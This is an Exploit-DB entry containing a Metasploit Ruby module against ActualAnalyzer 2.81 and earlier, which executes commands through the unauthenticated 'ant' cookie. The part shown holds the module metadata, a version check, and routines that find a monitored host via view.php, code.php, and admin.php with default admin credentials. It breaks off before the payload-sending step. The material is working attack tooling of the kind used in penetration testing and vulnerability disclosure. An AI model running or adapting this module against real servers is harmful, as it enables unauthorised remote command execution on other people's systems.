Exploit-DB #35549
Description: ActualAnalyzer - 'ant' Cookie Command Execution (Metasploit)
Type: remote
Platform: unix
Date: 2014-12-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => "ActualAnalyzer 'ant' Cookie Command Execution",
      'Description'     => %q{
        This module exploits a command execution vulnerability in
        ActualAnalyzer version 2.81 and prior.

        The 'aa.php' file allows unauthenticated users to
        execute arbitrary commands in the 'ant' cookie.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Benjamin Harris', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'      =>
        [
          ['EDB', '34450'],
          ['OSVDB', '110601']
        ],
      'Payload'         =>
        {
          'Space'       => 4096, # HTTP cookie
          'DisableNops' => true,
          'BadChars'    => "\x00"
        },
      'Arch'            => ARCH_CMD,
      'Platform'        => 'unix',
      'Targets'         =>
        [
          # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
          ['ActualAnalyzer <= 2.81', { 'auto' => true }]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Aug 28 2014',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
        OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
        OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
        OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
      ], self.class)
  end

  #
  # Checks if target is running ActualAnalyzer <= 2.81
  #
  def check
    # check for aa.php
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
    if !res
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    elsif res.code == 404
      vprint_error("#{peer} - Could not find aa.php")
      return Exploit::CheckCode::Safe
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
      vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
      return Exploit::CheckCode::Detected
    end
    # check version
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
    if !res
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
      vprint_status("#{peer} - Found version: #{version}")
      if Gem::Version.new(version) <= Gem::Version.new('2.81')
        report_vuln(
          host: rhost,
          name: self.name,
          info: "Module #{fullname} detected ActualAnalyzer #{version}",
          refs: references,
        )
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Detected
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end

  #
  # Try to retrieve a valid analytics host from view.php unauthenticated
  #
  def get_analytics_host_view
    analytics_host = nil
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'view.php'),
      'vars_post' => {
        'id_h' => '',
        'listp' => '',
        'act_h' => 'vis_int',
        'oldact' => 'vis_grpg',
        'tint_h' => '',
        'extact_h' => '',
        'home_pos' => '',
        'act' => 'vis_grpg',
        'tint' => 'total',
        'grpg' => '201',
        'cp_vst' => 'on',
        'cp_hst' => 'on',
        'cp_htst' => 'on',
        'cp_reps' => 'y',
        'tab_sort' => '1_1'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on view.php")
    end
    nil
  end

  #
  # Try to retrieve a valid analytics host from code.php unauthenticated
  #
  def get_analytics_host_code
    analytics_host = nil
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'code.php'),
      'vars_get' => {
        'pid' => '1'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on code.php")
    end
    nil
  end

  #
  # Try to retrieve a valid analytics host from admin.php with creds
  #
  def get_analytics_host_admin
    analytics_host = nil
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'vars_post' => {
        'uname' => user,
        'passw' => pass,
        'id_h' => '',
        'listp' => '',
        'act_h' => '',
        'oldact' => 'pages',
        'tint_h' => '',
        'extact_h' => '',
        'param_h' => '',
        'param2_h' => '',
        'home_pos' => '',
        'act' => 'dynhtml',
        'set.x' => '11',
        'set.y' => '11'
      }
    )
    if